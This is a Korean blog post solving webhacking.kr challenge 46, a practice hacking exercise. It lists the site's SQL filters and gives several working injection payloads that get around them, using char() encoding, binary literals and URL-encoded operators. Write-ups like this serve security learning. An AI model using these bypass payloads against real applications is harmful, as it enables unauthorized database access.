보안 공부/webhacking.kr
webhacking.kr 46번 풀이
sh1256
2021. 12. 14. 20:10
728x90
level의 숫자를 바꿔서 제출하면 id(Itusy)와 money의 숫자가 매변 다르게 나옵니다
그리고 view-source를 통해 소스코드를 살펴볼까요?
입력한 lv이 admin의 lv과 같으면 문제가 풀리게 됩니다.
그런데 우리가 admin의 lv을 알리가 없겠죠??
SQL injection을 시도해야 할 것 같습니다.
일단 필터링 되는 것들을 간단히 정리해 보죠
addslasher: \(역슬래시)
str_replace: (공백), /, *, %
preg_match: select, 0x, limilt, cash (대소문자 상관X)
위의 필터링값들을 피해서
select id,cash from chall46 where lv=0 or id='admin'
식으로 만들어 주면 된다.
첫번째 시도: 공백을 +로 우회한다. --> 실패 -->그냥 공백 없이 || 을 쓰자.
두번째 시도 id=char(97, 100, 109, 105, 110)으로 바꿈
0||id=char(97,100,109,105,110)
제출.
이 밖에도 가능한 것 모음
1. 이진법으로 우회: 0||id=0b0110000101100100011011010110100101101110 제출
2. URL 공략: URL뒤에 /?lv=1%26%26id=char(97,100,109,105,110)입력